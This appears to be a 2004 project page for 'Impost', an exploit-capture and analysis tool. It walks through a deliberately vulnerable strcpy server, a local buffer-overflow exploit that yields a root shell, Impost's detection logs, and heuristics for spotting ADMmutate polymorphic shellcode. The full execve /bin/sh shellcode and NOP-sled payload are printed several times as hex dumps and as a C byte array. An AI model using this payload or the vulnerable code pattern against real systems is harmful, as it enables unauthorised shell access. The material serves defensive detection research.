PROJECT SUMMARY | SCRIPTING INFO | MANUAL PAGE | BROWSE CVS | MAIN PAGE
UNDERSTANDING SCRIPT CONTROLLED SERVER BEHAVIOUR
RECREATING ATTACKS BASED ON DATA COLLECTED BY IMPOST
Recreating attacks based on captured data from Impost is a cakewalk. The first thing I did was program a vulnerable server (see test1-vuln.c). This server will listen for connections and if the first ascii string it receives is "MAGICAL" then it will read a second buffer before passing the buffer to the lame() function where it will copy the buffer using strcpy() into a string which has only 256 bytes allocated for itself. It's a pretty basic buffer overflow. Anyways, after crashing it by sending the server a buffer exceeding 256 bytes, I used gdb to pick a return address:
0xbffff278: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff280: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff288: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff290: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff298: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff2a0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff2a8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff2b0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 ^^^^^^^^^^^ I decided to go with this one, a completely random choice :) 0xbffff2b8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff2c0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff2c8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff2e0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
Having got all the information I needed, I built an exploit to attack this little vulnerable server I had just recently created (see test1-exp.c). Here's the STDOUT output from both the exploit and the vulnerable server:
EXPLOIT IN ACTION: [ziplock@localhost tests]$ ./test1-exp localhost 5555 test1-exp.c for Impost by ziplock -building buffer -buffer length: 500 return address: 0xbffff2b0 -connecting to vulnerable server -communicating with vulnerable server -sending exploit buffer Done! [ziplock@localhost tests]$ VULNERABLE SERVER IN ACTION: [root@localhost tests]# ./test1-vuln 5555 [x] Vulnerable server is ready for action! [x] Received: 'MAGICAL' [x] Vulnerable server is being lame [x] Outcome: ë"^ó÷Ç1Àªùð«ú1À«Í1ÛØ@ÍèÙÿÿÿ/bin/sh°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿° òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿ °òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿ sh-2.05b#
Very simple but it's just what I need for testing Impost. Now that we see that the exploit does work against the vulnerable server, let's see how Impost handles all of this in place of the vulnerable server. Here's the STDOUT output from Impost:
IMPOST IN ACTION: [ziplock@localhost impost]$ ./impost -p5555 Impost(er) Version 0.1pre1 by ziplock ( sickbeatz@hotmail.com ) 07/31/04 19:44 SERVER STARTED, BINDED SOCKET ON PORT 5555 .i Waiting for connections... 07/31/04 19:44 Accepted connection from 127.0.0.1 io recv(sock=5,size=7): MAGICAL .x Detected suspicious buffer (500 bytes) .d x86 NOP instructions (0x90) found in buffer: 132 .d Shellcode info: contains ascii string: /bin/sh .d Shellcode info: linux 86: execve /bin/sh author: aleph1 .d Find_Reversed_x86_Address(): 0xbffff2b0 .i Saving received data history and suspicious buffer - Capture /tmp/impost-captures/capture-0704-19-44-45 hd5 Hex: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 Ascii ............... hd5 last line repeated 7 times hd5 Hex: 90 90 90 90 90 90 90 90 EB 22 5E 89 F3 89 F7 Ascii ........."^.... hd5 Hex: 83 C7 07 31 C0 AA 89 F9 89 F0 AB 89 FA 31 C0 Ascii ...1.........1. hd5 Hex: AB B0 08 04 03 CD 80 31 DB 89 D8 40 CD 80 E8 Ascii .......1...@... hd5 Hex: D9 FF FF FF 2F 62 69 6E 2F 73 68 B0 F2 FF BF Ascii ..../bin/sh.... hd5 Hex: B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF Ascii ............... hd5 Hex: BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 Ascii ............... hd5 Hex: FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 Ascii ............... hd5 Hex: F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF Ascii ............... hd5 Hex: B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF Ascii ............... hd5 Hex: BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 Ascii ............... hd5 Hex: FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 Ascii ............... hd5 Hex: F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF Ascii ............... hd5 Hex: B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF Ascii ............... hd5 Hex: BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 Ascii ............... hd5 Hex: FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 Ascii ............... hd5 Hex: F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF Ascii ............... hd5 Hex: B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF Ascii ............... hd5 Hex: BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 Ascii ............... hd5 Hex: FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 Ascii ............... hd5 Hex: F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF Ascii ............... hd5 Hex: B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF Ascii ............... hd5 Hex: BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 Ascii ............... hd5 Hex: FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 Ascii ............... hd5 Hex: F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF Ascii ............... hd5 Hex: B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF Ascii ............... hd5 Hex: BF 90 90 90 90 Ascii ..... 07/31/04 19:44 Lost connection with 127.0.0.1 Exiting! [ziplock@localhost impost]$
Here's what the data would look like when packet sniffing is enabled:
IMPOST WITH PACKET SNIFFING ENABLED: (no capture file with packet sniffing as of yet) [root@localhost impost]# ./impost --sniff -p5555 Impost(er) Version 0.1pre1 by ziplock ( sickbeatz@hotmail.com ) .x Bad syntax in shellcode definitions, ignoring .x Failed to load config, file not found: /root/.impostrc 07/31/04 19:47 INITIALIZING PACKET SNIFFER .> Device: eth0 .> Destination Port: 5555 .. Received ACK: 5093 from 192.168.2.5 .. Packet, with TH_PUSH flag, from 192.168.2.5 .i SEQ = 62929 ACK = 5093 .i Payload -- 50 bytes .i Payload's data segment is 8 bytes .i DATA SEGMENT: MAGICAL .. Packet, with TH_PUSH flag, from 192.168.2.5 .i SEQ = 62929 ACK = 5093 .i Payload -- 503 bytes .i Payload's data segment is 500 bytes .x Detected suspicious buffer (500 bytes) .d x86 NOP instructions (0x90) found in buffer: 132 .d Shellcode info: contains ascii string: /bin/sh .d Shellcode info: linux 86: execve /bin/sh author: aleph1 .d Find_Reversed_x86_Address(): 0xbffff2b0 .i First instruction start position: 128 hexidecimal: 0xeb hd0 Hex: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 Ascii ............... hd0 last line repeated 7 times hd0 Hex: 90 90 90 90 90 90 90 90 EB 22 5E 89 F3 89 F7 Ascii ........."^.... hd0 Hex: 83 C7 07 31 C0 AA 89 F9 89 F0 AB 89 FA 31 C0 Ascii ...1.........1. hd0 Hex: AB B0 08 04 03 CD 80 31 DB 89 D8 40 CD 80 E8 Ascii .......1...@... hd0 Hex: D9 FF FF FF 2F 62 69 6E 2F 73 68 B0 F2 FF BF Ascii ..../bin/sh.... hd0 Hex: B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF Ascii ............... hd0 Hex: BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 Ascii ............... hd0 Hex: FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 Ascii ............... hd0 Hex: F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF Ascii ............... hd0 Hex: B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF Ascii ............... hd0 Hex: BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 Ascii ............... hd0 Hex: FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 Ascii ............... hd0 Hex: F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF Ascii ............... hd0 Hex: B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF Ascii ............... hd0 Hex: BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 Ascii ............... hd0 Hex: FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 Ascii ............... hd0 Hex: F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF Ascii ............... hd0 Hex: B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF Ascii ............... hd0 Hex: BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 Ascii ............... hd0 Hex: FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 Ascii ............... hd0 Hex: F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF Ascii ............... hd0 Hex: B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF Ascii ............... hd0 Hex: BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 Ascii ............... hd0 Hex: FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 Ascii ............... hd0 Hex: F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF Ascii ............... hd0 Hex: B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF Ascii ............... hd0 Hex: BF 90 90 90 90 Ascii ..... .. Packet with flags TH_FIN|TH_ACK from 192.168.2.5 (Bye) .. Received ACK: 5093 from 192.168.2.5 [root@localhost impost]#
Okay, so Impost had no problem detecting and analyzing the exploit buffer plus it successfully recognized the shellcode. We should now have all the information required to perfectly recreate this attack. So far, so good. Let's have a look at the capture file Impost create (/tmp/impost-captures/capture-0704-19-44-45)...
----- CUT HERE ----- [ziplock@localhost impost]$ cat /tmp/impost-captures/capture-0704-19-44-45 07/31/04 19:44 Impost capture file, source IP address: 127.0.0.1 History of received data pertaining to this session: 1 (7 bytes) = 'MAGICAL' Suspicious buffer (C constant string) const char buffer[] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb, 0x22, 0x5e, 0x89, 0xf3, 0x89, 0xf7, 0x83, 0xc7, 0x07, 0x31, 0xc0, 0xaa, 0x89, 0xf9, 0x89, 0xf0, 0xab, 0x89, 0xfa, 0x31, 0xc0, 0xab, 0xb0, 0x08, 0x04, 0x03, 0xcd, 0x80, 0x31, 0xdb, 0x89, 0xd8, 0x40, 0xcd, 0x80, 0xe8, 0xd9, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0x90, 0x90, 0x90, 0x90 }; [ziplock@localhost impost]$ ---- CUT HERE -----
Using the information from this capture file, including buffer[], I was able to recreate the entire attack in about a minute (test1-capexp.c). Okay, now let's make sure that Impost's version of the exploit actually works:
IMPOST EXPLOIT IN ACTION[ziplock@localhost tests]$ ./test1-capexp localhost 5555 test1-capexp: connecting to target test1-capexp: communicating test1-capexp: sending buffer test1-capexp: Done! [ziplock@localhost tests]$ VULNERABLE SERVER BEING EXPLOITED BY TEST1-CAPEXP.C: [root@localhost tests]# ./test1-vuln 5555 [x] Vulnerable server is ready for action! [x] Received: 'MAGICAL' [x] Vulnerable server is being lame [x] Outcome: ë"^ó÷Ç1Àªùð«ú1À«Í1ÛØ@ÍèÙÿÿÿ/bin/sh°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿° òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿ °òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿ sh-2.05b#
Simple, but effective.
So far I've only gotten as far as detecting Intel x86 polymorphic shellcode based on K2's mutation engine (ADMmutate). My concept is very simple and extremely effective according to all the testing that I've done. I've developed an algorithm which scans a buffer and compares each byte to 78 different "IA32_JUNKS" while at the same time checking to see if the that byte could be used as "morph" padding. Everytime a byte is discovered that can be used as "morph" padding and matches the code of a IA32_JUNK byte I increase the count of matching "code" bytes by 1.
Sounds complicated doesn't it? Well, that was only the first step. For the second step, I stumbled upon an interesting fail-safe method for further verification. Everytime the first step is completed the resulting count of matching "code" bytes can be devided by the length of the buffer being scanned. Oddly enough, I've discovered that K2's mutated shellcodes and only K2's mutated shellcodes will always have an outcome of a number never larger than 7 and never smaller than 4 after the number of matching bytes has been divided by the size of the buffer. Here's a statistical example:
Syntax: <original size> ------------------------------------------ <polymorphed size>, <matching bytes>.. OUTPUT/MATCHES = <result> ... ... 1024 bytes ------------------------------------------ 822 bytes out, 153 matched.. (O/M) = 5.37 811 bytes out, 143 matched.. (O/M) = 5.67 803 bytes out, 135 matched.. (O/M) = 5.99 803 bytes out, 133 matched.. (O/M) = 6.04 816 bytes out, 155 matched.. (O/M) = 5.26 822 bytes out, 161 matched.. (O/M) = 5.11 804 bytes out, 150 matched.. (O/M) = 5.36 788 bytes out, 131 matched.. (O/M) = 6.02 512 bytes ------------------------------------------ 402 bytes out, 75 matched.. (O/M) = 5.36 404 bytes out, 79 matched.. (O/M) = 5.11 396 bytes out, 73 matched.. (O/M) = 5.43 399 bytes out, 63 matched.. (O/M) = 6.33 256 bytes ------------------------------------------ 199 bytes out, 33 matched.. (O/M) = 6.03 204 bytes out, 38 matched.. (O/M) = 5.37 199 bytes out, 40 matched.. (O/M) = 4.98 Results from 'expx' supplied by K2: ------------------------------------------ 429 bytes out, 88 matched.. (O/M) = 4.88 1023 bytes out, 167 matched.. (O/M) = 6.13 1023 bytes out, 174 matched.. (O/M) = 5.88 456 bytes out, 99 matched.. (O/M) = 4.61 413 bytes out, 79 matched.. (O/M) = 5.23
The third step of verification is the easiest. I noticed a pattern that never seems to change, which is kind of ironic. Every Intel x86 buffer morphed by ADMmutate that I've seen always contains these 5 characters: [, ], _, ? and / ... If a "suspicious" buffer passes each of these 3 tests it is very likely a buffer which has been polymorphed by ADMmutate.
In almost all cases dealing with exploit buffers for x86, the return address is either added to the last 4 bytes of the buffer or really close to it. Another thing I'd like to point out is if you look at the snippet below, which is of a hexdump printed by Impost, you'll see that the Hexidecimal is backwards.. For instance, in the buffer below the original return address was '0bffff2b0' and resulted as "\xb0\xf2\xff\xbf".
hd5 Hex: F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF Ascii ............... hd5 Hex: B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF Ascii ............... hd5 Hex: BF 90 90 90 90 Ascii ..... 07/31/04 19:44 Lost connection with 127.0.0.1
Knowing that, what I originally started doing to guess the return address was to check the last byte of the buffer to see if it was a NOP instruction (detecting the NOP instruction is a whole different story) that had been previously verified as padding earlier on with Impost. If the last byte is a NOP instruction it will keep moving back 1 byte in the buffer until it reaches a byte that hasn't been verified as a NOP instruction. At this point, I can copy the previous 4 bytes from the current position into a buffer in a backwards order. After doing that all I have to do is add 0x to the beginning of the string and then convert the string into an unsigned long with strtoul()..
If the buffer is padded with random NOP instructions that'll make guessing the return address a little more tricky, however it can be done. A good start would be to check for alphanumerical characters or search for the starting and ending positions of common operation codes used in shellcode. Also look around the end of the buffer for 4 byte patterns containing non printable characters. I still have more research to do :)
Email: ziplock <sickbeatz@hotmail.com>
IRC: channel #b4b0 on EFnet